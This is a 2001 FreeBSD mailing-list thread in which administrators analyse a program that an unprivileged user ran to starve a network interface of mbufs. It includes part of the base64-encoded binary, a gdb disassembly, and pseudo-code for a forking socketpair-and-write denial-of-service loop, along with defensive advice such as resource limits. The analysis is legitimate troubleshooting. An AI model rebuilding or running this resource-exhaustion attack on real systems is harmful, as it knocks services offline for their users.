AAAAAAAAAAAAALQSAADGAQAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 9IAECAAAAAADAAEAAAAAABCBBAgAAAAAAwACAAAAAAAogQQIAAAAAAMAAwAAAAAA0IEECAAA AAADAAQAAAAAAECDBAgAAAAAAwAFAAAAAAAchAQIAAAAAAMABgAAAAAAZIQECAAAAAADAAcA AAAAAHCEBAgAAAAAAwAIAAAAAAAQhQQIAAAAAAMACQAAAAAA9IcECAAAAAADAAoAAAAAAPqH BAgAAAAAAwALAAAAAAD8lwQIAAAAAAMADAAAAAAACJgECAAAAAADAA0AAAAAAAyYBAgAAAAA AwAOAAAAAAAUmAQIAAAAAAMADwAAAAAAHJgECAAAAAADABAAAAAAAEyYBAgAAAAAAwARAAAA AAC8mAQIAAAAAAMAEgAAAAAAAAAAAAAAAAADABMAAAAAAAAAAAAAAAAAAwAUAAAAAAAAAAAA AAAAAAMAFQAAAAAAAAAAAAAAAAADABYAAAAAAAAAAAAAAAAAAwAXAAEAAAAAAAAAAAAAAAQA 8f8MAAAAyIUECAAAAAAAAAkAGwAAAACYBAgAAAAAAQAMAB8AAAAUmAQIAAAAAAEADwAtAAAA BJgECAAAAAABAAwAOQAAAMiFBAgAAAAAAgAJAE8AAAAImAQIAAAAAAEADQBiAAAAHIYECAAA AAACAAkAbQAAALyYBAgYAAAAAQASAHcAAAAohgQIAAAAAAIACQCDAAAAUIYECAAAAAACAAkA jgAAAAiYBAgAAAAAAQAMAJwAAAAMmAQIAAAAAAEADgABAAAAAAAAAAAAAAAEAPH/DAAAALyH BAgAAAAAAAAJAKoAAAC8hwQIAAAAAAIACQDAAAAAEJgECAAAAAABAA4AgwAAAOiHBAgAAAAA AgAJAI4AAAAImAQIAAAAAAEADADNAAAAGJgECAAAAAABAA8A2gAAAAiYBAgAAAAAAQANAOgA AAAAAAAAAAAAAAQA8f8MAAAAXIYECAAAAAAAAAkA7AAAAICEBAgsAAAAEgAAAPIAAABMmAQI AAAAABEA8f/7AAAA9IcECAAAAAARAPH/AgEAAJCEBAh/AAAAEgAAAAgBAABkhAQIAAAAABIA BwAOAQAAoIQECAAAAAASAAAAFAEAANSYBAgEAAAAEQASABwBAAAAAAAAAAAAACAAAAA0AQAA 2JgECAAAAAARAPH/OAEAALCEBAgAAAAAEgAAAEMBAAD8lwQIBAAAABEADABOAQAAEIUECIMA AAASAAkAVQEAAMCEBAgAAAAAEgAAAFoBAAC8mAQIAAAAABEA8f9mAQAAXIYECF4BAAASAAkA awEAAPSHBAgAAAAAEgAKAHEBAADQhAQIbgAAABIAAAB4AQAA4IQECAAAAAASAAAAgwEAALyY BAgAAAAAEQDx/4oBAAAcmAQIAAAAABEA8f+gAQAA2JgECAAAAAARAPH/pQEAAPCEBAhkAAAA EgAAAKoBAAAAhQQIAAAAABIAAACwAQAAAAAAAAAAAAAgAAAAAGNydHN0dWZmLmMAZ2NjMl9j b21waWxlZC4AcC4zAF9fRFRPUl9MSVNUX18AY29tcGxldGVkLjQAX19kb19nbG9iYWxfZHRv cnNfYXV4AF9fRUhfRlJBTUVfQkVHSU5fXwBmaW5pX2R1bW15AG9iamVjdC4xMQBmcmFtZV9k dW1teQBpbml0X2R1bW15AGZvcmNlX3RvX2RhdGEAX19DVE9SX0xJU1RfXwBfX2RvX2dsb2Jh bF9jdG9yc19hdXgAX19DVE9SX0VORF9fAF9fRFRPUl9FTkRfXwBfX0ZSQU1FX0VORF9fAHgu YwBwYXVzZQBfRFlOQU1JQwBfZXRleHQAc2xlZXAAX2luaXQAd3JpdGUAZW52aXJvbgBfX2Rl cmVnaXN0ZXJfZnJhbWVfaW5mbwBlbmQAc2V0c29ja29wdABfX3Byb2duYW1lAF9zdGFydABm b3JrAF9fYnNzX3N0YXJ0AG1haW4AX2ZpbmkAYXRleGl0AHNvY2tldHBhaXIAX2VkYXRhAF9H TE9CQUxfT0ZGU0VUX1RBQkxFXwBfZW5kAGV4aXQAZmNudGwAX19yZWdpc3Rlcl9mcmFtZV9p bmZvAA== --BXVAT5kNtrzKuDFl-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 19:49: 1 2001 Delivered-To: freebsd-current@freebsd.org Received: from tomts7-srv.bellnexxia.net (tomts7.bellnexxia.net [209.226.175.40]) by hub.freebsd.org (Postfix) with ESMTP id 2391937B43C; Tue, 15 May 2001 19:48:52 -0700 (PDT) (envelope-from matt@gsicomp.on.ca) Received: from xena.gsicomp.on.ca ([64.228.152.235]) by tomts7-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20010516024851.KJSE16174.tomts7-srv.bellnexxia.net@xena.gsicomp.on.ca>; Tue, 15 May 2001 22:48:51 -0400 Received: from hermes (hermes.gsicomp.on.ca [192.168.0.18]) by xena.gsicomp.on.ca (8.11.1/8.11.1) with SMTP id f4G2kFN62878; Tue, 15 May 2001 22:46:15 -0400 (EDT) (envelope-from matt@gsicomp.on.ca) Message-ID: <00b401c0ddb2$23b2c710$1200a8c0@gsicomp.on.ca> From: "Matthew Emmerton" To: "John Indra" , Cc: References: <20010516092035.A79109@office.naver.co.id> Subject: Re: My network is dead because of this program :( Date: Tue, 15 May 2001 22:44:32 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Dear all... > > First of all, really sorry for cross-posting... > > I am running a -CURRENT system (Apr 30th 2001). There is a user in my > machine running this small program to DoS my xl0 interface. I doubt that > this program is specifically designed for xl cards though. > > Once the program is started, it starts forking childs I assume. Then after > sometime, this messages start popping to my screen: > > xl0: no memory for rx lists -- packet dropped > > After going to single user mode, cause I can't kill the offending program > once it is running in multiuser mode (even kill -9 won't work on my system), > then coming back to multiuser mode, I tried to run it and trace what it does > with truss. But, truss didn't seem to output anything at all. Then, I saw > the program state in top and it said the program is in mbuf state. > > I have searched all mailing lists archieves in > http://www.freebsd.org/search/search.html#mailinglists but wierdly, there > are no articles shown when I enter this as a query: "no memory for rx list" > > Can anyone help me trace what the program does? And how can I prevent the > program to DoS my network interface? Even when the program is started by > unprivileged user, it works, it DoS my network interface. Is this a bug? I don't know exactly what this program does, but by looking at the 'strings' output, it would appear to do a bunch of setsockopt(), socketpair(), write()s and fork()s. I imagine that it's forking like crazy (to grind your system to a half) and doing some funky socket stuff (to overload the NIC driver.) The reason why this works when run as an underpriviledged user is because a) any user can fork() and b) any user can create sockets and use the network. You should be able to kill -9 this program; however, you must make sure that you kill the parent. You may find the 'killall' command useful. There's not much that you can do to prevent the DoS of a NIC -- it could happen just as easily from the outside as from the inside (although via different means). However, you can monitor what your users are doing on the system, and take appropriate actions if they're abusing them. -- Matt Emmerton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 20:16:22 2001 Delivered-To: freebsd-current@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-32.dsl.lsan03.pacbell.net [63.207.60.32]) by hub.freebsd.org (Postfix) with ESMTP id A3AB637B422; Tue, 15 May 2001 20:16:16 -0700 (PDT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id CCEB166C8C; Tue, 15 May 2001 20:16:15 -0700 (PDT) Date: Tue, 15 May 2001 20:16:15 -0700 From: Kris Kennaway To: John Indra Cc: freebsd-questions@freebsd.org, freebsd-current@freebsd.org Subject: Re: My network is dead because of this program :( Message-ID: <20010515201615.A18164@xor.obsecurity.org> References: <20010516092035.A79109@office.naver.co.id> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="OgqxwSJOaUobr8KG" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010516092035.A79109@office.naver.co.id>; from john@office.naver.co.id on Wed, May 16, 2001 at 09:20:35AM +0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --OgqxwSJOaUobr8KG Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, May 16, 2001 at 09:20:35AM +0700, John Indra wrote: > Dear all... >=20 > First of all, really sorry for cross-posting... >=20 > I am running a -CURRENT system (Apr 30th 2001). There is a user in my > machine running this small program to DoS my xl0 interface. I doubt that > this program is specifically designed for xl cards though. Don't run -current on a production system. Seriously, just don't, unless you like dealing with this kind of stuff. The bug report may be useful, but you're playing with fire. Kris --OgqxwSJOaUobr8KG Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.5 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7AfD+Wry0BWjoQKURAlO4AKDLZdB209E9MnMCNvoF9oWTRyTEbACg0dxV 8MVpDXOplwhjJlijcwzrbLU= =G000 -----END PGP SIGNATURE----- --OgqxwSJOaUobr8KG-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 20:16:43 2001 Delivered-To: freebsd-current@freebsd.org Received: from dougal.workpc.tds.net (dougal.workpc.tds.net [204.246.4.101]) by hub.freebsd.org (Postfix) with ESMTP id C360D37B42C; Tue, 15 May 2001 20:16:38 -0700 (PDT) (envelope-from usrkkw@dougal.workpc.tds.net) Received: (from usrkkw@localhost) by dougal.workpc.tds.net (8.11.3/8.11.1) id f4G3Dul36281; Tue, 15 May 2001 22:13:56 -0500 (CDT) (envelope-from usrkkw) Date: Tue, 15 May 2001 22:13:56 -0500 From: Ken Wills To: John Indra Cc: freebsd-questions@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: My network is dead because of this program :( Message-ID: <20010515221356.A35875@dougal.workpc.tds.net> References: <20010516092035.A79109@office.naver.co.id> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010516092035.A79109@office.naver.co.id>; from john@office.naver.co.id on Wed, May 16, 2001 at 09:20:35AM +0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * John Indra [010515 21:19]: > Dear all... > > First of all, really sorry for cross-posting... > > I am running a -CURRENT system (Apr 30th 2001). There is a user in my > machine running this small program to DoS my xl0 interface. I doubt that > this program is specifically designed for xl cards though. > > Once the program is started, it starts forking childs I assume. Then after > sometime, this messages start popping to my screen: > > xl0: no memory for rx lists -- packet dropped > Shouldn't reasonable resource limits (man limits), prevent this from happening - particularly the sbsize setting? Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 20:20:52 2001 Delivered-To: freebsd-current@freebsd.org Received: from xyzzy.intranet.snsonline.net (dhcp.looksmart.com.au [202.53.47.178]) by hub.freebsd.org (Postfix) with ESMTP id E6E9137B422; Tue, 15 May 2001 20:20:44 -0700 (PDT) (envelope-from msergeant@snsonline.net) Received: from xyzzy.intranet.snsonline.net (localhost [127.0.0.1]) by xyzzy.intranet.snsonline.net (8.11.3/8.11.3) with SMTP id f4G3JZY05795; Wed, 16 May 2001 13:19:39 +1000 (EST) (envelope-from msergeant@snsonline.net) Message-Id: <200105160319.f4G3JZY05795@xyzzy.intranet.snsonline.net> Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 From: "Mark Sergeant" To: Kris Kennaway , John Indra Cc: freebsd-questions@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: My network is dead because of this program :( X-Mailer: Pronto v2.2.5 On freebsd/mysql Date: 15 May 2001 22:19:34 EST Reply-To: "Mark Sergeant" In-Reply-To: <20010515201615.A18164@xor.obsecurity.org> References: <20010516092035.A79109@office.naver.co.id> <20010515201615.A18164@xor.obsecurity.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Another solution would be to remove this users access ? On Tue, 15 May 2001 20:16:15 -0700, Kris Kennaway said: :: On Wed, May 16, 2001 at 09:20:35AM +0700, John Indra wrote: :: > Dear all... :: > :: > First of all, really sorry for cross-posting... :: > :: > I am running a -CURRENT system (Apr 30th 2001). There is a user in my :: > machine running this small program to DoS my xl0 interface. I doubt that :: > this program is specifically designed for xl cards though. :: :: Don't run -current on a production system. Seriously, just don't, :: unless you like dealing with this kind of stuff. The bug report may :: be useful, but you're playing with fire. :: :: Kris :: -- Mark Sergeant Unix Systems Administrator Fortune follows... Machine-Independent, adj.: Does not run on any existing machine. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 20:26:24 2001 Delivered-To: freebsd-current@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-32.dsl.lsan03.pacbell.net [63.207.60.32]) by hub.freebsd.org (Postfix) with ESMTP id D47B037B424; Tue, 15 May 2001 20:26:19 -0700 (PDT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 05E1F66C8C; Tue, 15 May 2001 20:26:18 -0700 (PDT) Date: Tue, 15 May 2001 20:26:18 -0700 From: Kris Kennaway To: Mark Sergeant Cc: Kris Kennaway , John Indra , freebsd-questions@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: My network is dead because of this program :( Message-ID: <20010515202618.A18405@xor.obsecurity.org> References: <20010516092035.A79109@office.naver.co.id> <20010515201615.A18164@xor.obsecurity.org> <200105160319.f4G3JZY05795@xyzzy.intranet.snsonline.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="2fHTh5uZTiUOsy+g" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200105160319.f4G3JZY05795@xyzzy.intranet.snsonline.net>; from msergeant@snsonline.net on Tue, May 15, 2001 at 10:19:34PM -0500 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --2fHTh5uZTiUOsy+g Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, May 15, 2001 at 10:19:34PM -0500, Mark Sergeant wrote: > Another solution would be to remove this users access ?=20 Yeah, that also basically goes without saying :-) Kris --2fHTh5uZTiUOsy+g Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.5 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7AfNaWry0BWjoQKURAtmfAKCNUbWdfId6jqd12LAvYHv7qbe8xQCcDUwL AriNLG59UHoV+yKGP8SXuS0= =y7uz -----END PGP SIGNATURE----- --2fHTh5uZTiUOsy+g-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 22:57: 3 2001 Delivered-To: freebsd-current@freebsd.org Received: from mx01-a.netapp.com (mx01-a.netapp.com [198.95.226.53]) by hub.freebsd.org (Postfix) with ESMTP id 1D2D137B424 for ; Tue, 15 May 2001 22:56:41 -0700 (PDT) (envelope-from boshea@netapp.com) Received: from frejya.corp.netapp.com (frejya.corp.netapp.com [10.10.20.91]) by mx01-a.netapp.com (8.11.1/8.11.1/NTAP-1.2) with ESMTP id f4G5tlK22428; Tue, 15 May 2001 22:55:47 -0700 (PDT) Received: from shaolin.hq.netapp.com (localhost [127.0.0.1]) by frejya.corp.netapp.com (8.11.1/8.11.1/NTAP-1.2) with ESMTP id f4G5te400295; Tue, 15 May 2001 22:55:40 -0700 (PDT) Received: (from boshea@localhost) by shaolin.hq.netapp.com (8.9.3/8.9.3) id XAA64016; Tue, 15 May 2001 23:03:54 -0700 (PDT) (envelope-from boshea) Date: Tue, 15 May 2001 23:03:54 -0700 From: "Brian O'Shea" To: Matthew Emmerton Cc: John Indra , freebsd-questions@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: My network is dead because of this program :( Message-ID: <20010515230354.A62767@shaolin.hq.netapp.com> Reply-To: boshea@ricochet.net Mail-Followup-To: Brian O'Shea , Matthew Emmerton , John Indra , freebsd-questions@FreeBSD.ORG, freebsd-current@FreeBSD.ORG References: <20010516092035.A79109@office.naver.co.id> <00b401c0ddb2$23b2c710$1200a8c0@gsicomp.on.ca> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="3uo+9/B/ebqu+fSQ" Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <00b401c0ddb2$23b2c710$1200a8c0@gsicomp.on.ca>; from matt@gsicomp.on.ca on Tue, May 15, 2001 at 10:44:32PM -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --3uo+9/B/ebqu+fSQ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Tue, May 15, 2001 at 10:44:32PM -0400, Matthew Emmerton wrote: [...] > > After going to single user mode, cause I can't kill the offending > > program once it is running in multiuser mode (even kill -9 won't > > work ... Probably because the program is forking and you can't kill it's children fast enough. > > Can anyone help me trace what the program does? And how can I > > prevent the program to DoS my network interface? Even when the > > program is started by unprivileged user, it works, it DoS my network > > interface. Is this a bug? [...] Unfortunately it looks like the program forks, does it's thing, and then each child forks too. There is a call to sleep probably to introduce a delay so that things don't go completely crazy right away, but processes build up exponentially with each child process forking, so eventually resources get exhausted. Take a look at the attachment for more details. -brian -- Brian O'Shea --3uo+9/B/ebqu+fSQ Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="x.disasm" It looks like the program basically does this, in pseudo-code: main() { int pid; while (1) { pid = fork(); if (pid == 0) { /* child process */ socketpair(); /* get two AF_LOCAL sockets */ setsockopt(); /* set receive buffer size on one socket */ setsockopt(); /* set send buffer size on other socket */ fcntl(); /* set non-blocking I/O on both sockets */ fcntl(); write(); /* write some data from one socket to the other */ write(); } /* else we're in the parent, or fork() failed */ sleep(); /* sleep a while */ } return; } (gdb) disassemble main Dump of assembler code for function main: 0x804865c
: push %ebp 0x804865d : mov %esp,%ebp 0x804865f : sub $0x32018,%esp 0x8048665 : nop We're probably in an infinite loop here. 0x8048666 : movl $0x0,0xfffffff4(%ebp) 0x804866d : lea 0x0(%esi),%esi 0x8048670 : cmpl $0x12,0xfffffff4(%ebp) 0x8048674 : jle 0x8048678 0x8048676 : jmp 0x8048690 The first thing we do in the loop is call fork(). 0x8048678 : call 0x80484c0 Then we check its return value. 0x804867d : mov %eax,%eax 0x804867f : test %eax,%eax 0x8048681 : je 0x8048688 0x8048683 : jmp 0x8048690 0x8048685 : lea 0x0(%esi),%esi It looks like the parent calls fork in a loop. The child processes that it creates continue. 0x8048688 : incl 0xfffffff4(%ebp) 0x804868b : jmp 0x8048670 0x804868d : lea 0x0(%esi),%esi 0x8048690 : add $0xfffffff4,%esp Sleep for 5 seconds ... 0x8048693 : push $0x5 0x8048695 : call 0x8048490 0x804869a : add $0x10,%esp 0x804869d : lea 0x0(%esi),%esi 0x80486a0 : jmp 0x80486a8 0x80486a2 : jmp 0x80487ac 0x80486a7 : nop Child calls socketpair with the following arguments: int socketpair(int domain, int type, int protocol, int *sv) int domain = 0x1 (AF_LOCAL) int type = 0x1 (SOCK_STREAM) int protocol = 0x0 (typically 0 for AF_LOCAL) int *sv = address of an array of two file descriptors Push arguments to socketpair onto stack and call socketpair again: 0x80486a8 : lea 0xfffffff8(%ebp),%eax 0x80486ab : push %eax 0x80486ac : push $0x0 0x80486ae : push $0x1 0x80486b0 : push $0x1 0x80486b2 : call 0x80484e0 0x80486b7 : add $0x10,%esp 0x80486ba : mov %eax,%eax Note: It's strange that the address family is AF_LOCAL. I wouldn't think this would cause the problems that you are seeing with the xl0 device, unless AF_LOCAL sockets consume some of the same resources that this driver also consumes, and thus starves it of those resources. I don't know enough about FreeBSD to tell. Looks like we're checking the return value of socketpair. The value 0xffffffff is -1, which is what socketpair returns if it fails. 0x80486bc : cmp $0xffffffff,%eax 0x80486bf : jne 0x80486c8 0x80486c1 : jmp 0x80487ac If it fails, jumps ahead to a call to pause (below at main+336) 0x80486c6 : mov %esi,%esi 0x80486c8 : movl $0x32000,0xfffffff4(%ebp) 0x80486cf : add $0xfffffff4,%esp Push arguments to setsockopt onto stack and call setsockopt: 0x80486d2 : push $0x4 0x80486d4 : lea 0xfffffff4(%ebp),%eax 0x80486d7 : push %eax 0x80486d8 : push $0x1002 0x80486dd : push $0xffff 0x80486e2 : mov 0xfffffff8(%ebp),%eax 0x80486e5 : push %eax 0x80486e6 : call 0x80484b0 int setsockopt( int s, /* socket descriptor */ int level, /* 0xffff (SOL_SOCKET) */ int optname, /* 0x1002 (SO_RCVBUF) */ void *optval, /* pointer to a buffer containing optval */ socklen_t *optlen /* pointer to buffer length */ ) Pop arguments to first setsockopt call off stack. 0x80486eb : add $0x20,%esp 0x80486ee : add $0xfffffff4,%esp Same thing, this time with optname 0x1001 (SO_SNDBUF). 0x80486f1 : push $0x4 0x80486f3 : lea 0xfffffff4(%ebp),%eax 0x80486f6 : push %eax 0x80486f7 : push $0x1001 0x80486fc : push $0xffff 0x8048701 : mov 0xfffffff8(%ebp),%eax 0x8048704 : push %eax 0x8048705 : call 0x80484b0 0x804870a : add $0x20,%esp 0x804870d : add $0xfffffff4,%esp Pop arguments to second setsockopt call off stack. Probably the same call to setsockopt follows, except for the other socket in the socketpair. 0x8048710 : push $0x4 0x8048712 : lea 0xfffffff4(%ebp),%eax 0x8048715 : push %eax 0x8048716 : push $0x1002 0x804871b : push $0xffff 0x8048720 : mov 0xfffffffc(%ebp),%eax 0x8048723 : push %eax 0x8048724 : call 0x80484b0 0x8048729 : add $0x20,%esp 0x804872c : add $0xfffffff4,%esp 0x804872f : push $0x4 0x8048731 : lea 0xfffffff4(%ebp),%eax 0x8048734 : push %eax 0x8048735 : push $0x1001 0x804873a : push $0xffff 0x804873f : mov 0xfffffffc(%ebp),%eax 0x8048742 : push %eax 0x8048743 : call 0x80484b0 0x8048748 : add $0x20,%esp 0x804874b : add $0xfffffffc,%esp 0x804874e : push $0x4 0x8048750 : push $0x4 0x8048752 : mov 0xfffffff8(%ebp),%eax 0x8048755 : push %eax 0x8048756 : call 0x8048500 fcntl( int fd, /* socket descriptor */ int cmd, /* 0x4 (O_NONBLOCK) */ ... ) Puts the socket into non-blocking I/O mode. 0x804875b : add $0x10,%esp 0x804875e : add $0xfffffffc,%esp Pop pop... Same thing for other socket. 0x8048761 : push $0x4 0x8048763 : push $0x4 0x8048765 : mov 0xfffffffc(%ebp),%eax 0x8048768 : push %eax 0x8048769 : call 0x8048500 fcntl( int fd, int cmd, ... ) 0x804876e : add $0x10,%esp 0x8048771 : add $0xfffffffc,%esp Push arguments to write onto stack. 0x8048774 : push $0x32000 0x8048779 : lea 0xfffcdff4(%ebp),%eax 0x804877f : push %eax 0x8048780 : mov 0xfffffff8(%ebp),%eax 0x8048783 : push %eax 0x8048784 : call 0x80484a0 0x8048789 : add $0x10,%esp 0x804878c : add $0xfffffffc,%esp write( int d, /* socket descriptor */ const void *buf, /* buffer to write */ size_t nbytes /* number of bytes to write (204800) */ ) Call write again. 0x804878f : push $0x32000 0x8048794 : lea 0xfffcdff4(%ebp),%eax 0x804879a : push %eax 0x804879b : mov 0xfffffffc(%ebp),%eax 0x804879e : push %eax 0x804879f : call 0x80484a0 0x80487a4 : add $0x10,%esp 0x80487a7 : jmp 0x80486a0 0x80487ac : call 0x8048480 0x80487b1 : xor %eax,%eax 0x80487b3 : jmp 0x80487b8 0x80487b5 : lea 0x0(%esi),%esi 0x80487b8 : leave 0x80487b9 : ret 0x80487ba : nop 0x80487bb : nop End of assembler dump. (gdb) quit --3uo+9/B/ebqu+fSQ-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 23:44: 4 2001 Delivered-To: freebsd-current@freebsd.org Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (Postfix) with ESMTP id BF94837B422; Tue, 15 May 2001 23:44:00 -0700 (PDT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.11.3/8.11.3) id f4G6hbj16392; Wed, 16 May 2001 01:43:37 -0500 (CDT) (envelope-from dan) Date: Wed, 16 May 2001 01:43:36 -0500 From: Dan Nelson To: "Brian O'Shea" Cc: Matthew Emmerton , John Indra , freebsd-questions@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: My network is dead because of this program :( Message-ID: <20010516014336.C26749@dan.emsphone.com> References: <20010516092035.A79109@office.naver.co.id> <00b401c0ddb2$23b2c710$1200a8c0@gsicomp.on.ca> <20010515230354.A62767@shaolin.hq.netapp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.17i In-Reply-To: <20010515230354.A62767@shaolin.hq.netapp.com>; from "Brian O'Shea" on Tue May 15 23:03:54 GMT 2001 X-OS: FreeBSD 5.0-CURRENT Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In the last episode (May 15), Brian O'Shea said: > On Tue, May 15, 2001 at 10:44:32PM -0400, Matthew Emmerton wrote: > [...] > > > After going to single user mode, cause I can't kill the offending > > > program once it is running in multiuser mode (even kill -9 won't > > > work ... > > Probably because the program is forking and you can't kill it's > children fast enough. A handy way to kill forkbombs like this is "su username -c kill -9 -1", which will kill all the processes owned by that user at once. -- Dan Nelson dnelson@emsphone.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 0:20:27 2001 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id 6CEBD37B424; Wed, 16 May 2001 00:20:09 -0700 (PDT) (envelope-from ru@whale.sunbay.crimea.ua) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.2/8.11.2) id f4G7JlS25747; Wed, 16 May 2001 10:19:47 +0300 (EEST) (envelope-from ru) Date: Wed, 16 May 2001 10:19:47 +0300 From: Ruslan Ermilov To: Warner Losh Cc: Maxim Sobolev , cvs-committers@FreeBSD.ORG, cvs-all@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: cvs commit: src Makefile.inc1 Message-ID: <20010516101947.B23288@sunbay.com> Mail-Followup-To: Warner Losh , Maxim Sobolev , cvs-committers@FreeBSD.ORG, cvs-all@FreeBSD.ORG, current@FreeBSD.ORG References: <3B017C28.4FFDBCFB@FreeBSD.org> <200105141721.f4EHL2056720@freefall.freebsd.org> <20010515161957.A54414@sunbay.com> <3B017C28.4FFDBCFB@FreeBSD.org> <200105152302.f4FN2PN73955@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200105152302.f4FN2PN73955@harmony.village.org>; from imp@harmony.village.org on Tue, May 15, 2001 at 05:02:25PM -0600 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, May 15, 2001 at 05:02:25PM -0600, Warner Losh wrote: > In message <3B017C28.4FFDBCFB@FreeBSD.org> Maxim Sobolev writes: > : Perhaps we could rip off the code that dumps keymap file into a > : little utility on its own and use this utility to bootstrap > : sysinstall. I could look into this direction if there aren't better > : ideas. > > I think your idea of just defining PASTE is the best way to go. I > came up with it independently after trying a number of different ideas > on how to get around this. > FWIW, my gross hack to usr.sbin/kbdcontrol also worked: Index: Makefile =================================================================== RCS file: /home/ncvs/src/usr.sbin/kbdcontrol/Makefile,v retrieving revision 1.8 diff -u -p -r1.8 Makefile --- Makefile 2001/03/26 14:40:28 1.8 +++ Makefile 2001/05/16 07:19:20 @@ -3,6 +3,7 @@ PROG= kbdcontrol SRCS= kbdcontrol.c lex.l CFLAGS+= -I${.CURDIR} +CFLAGS+=-I${.CURDIR}/../../sys MAN= kbdcontrol.1 kbdmap.5 MLINKS= kbdmap.5 keymap.5 DPADD= ${LIBL} Cheers, -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed May 16 0:52: 3 2001 Delivered-To: freebsd-current@freebsd.org Received: from harmony.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id CD98437B42C; Wed, 16 May 2001 00:51:53 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.11.3/8.11.1) with ESMTP id f4G7pqN77048; Wed, 16 May 2001 01:51:53 -0600 (MDT) (envelope-from imp@harmony.village.org) Message-Id: <200105160751.f4G7pqN77048@harmony.village.org> To: Ruslan Ermilov Subject: Re: cvs commit: src Makefile.inc1 Cc: Maxim Sobolev , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org In-reply-to: Your message of "Wed, 16 May 2001 10:19:47 +0300." <20010516101947.B23288@sunbay.com> References: 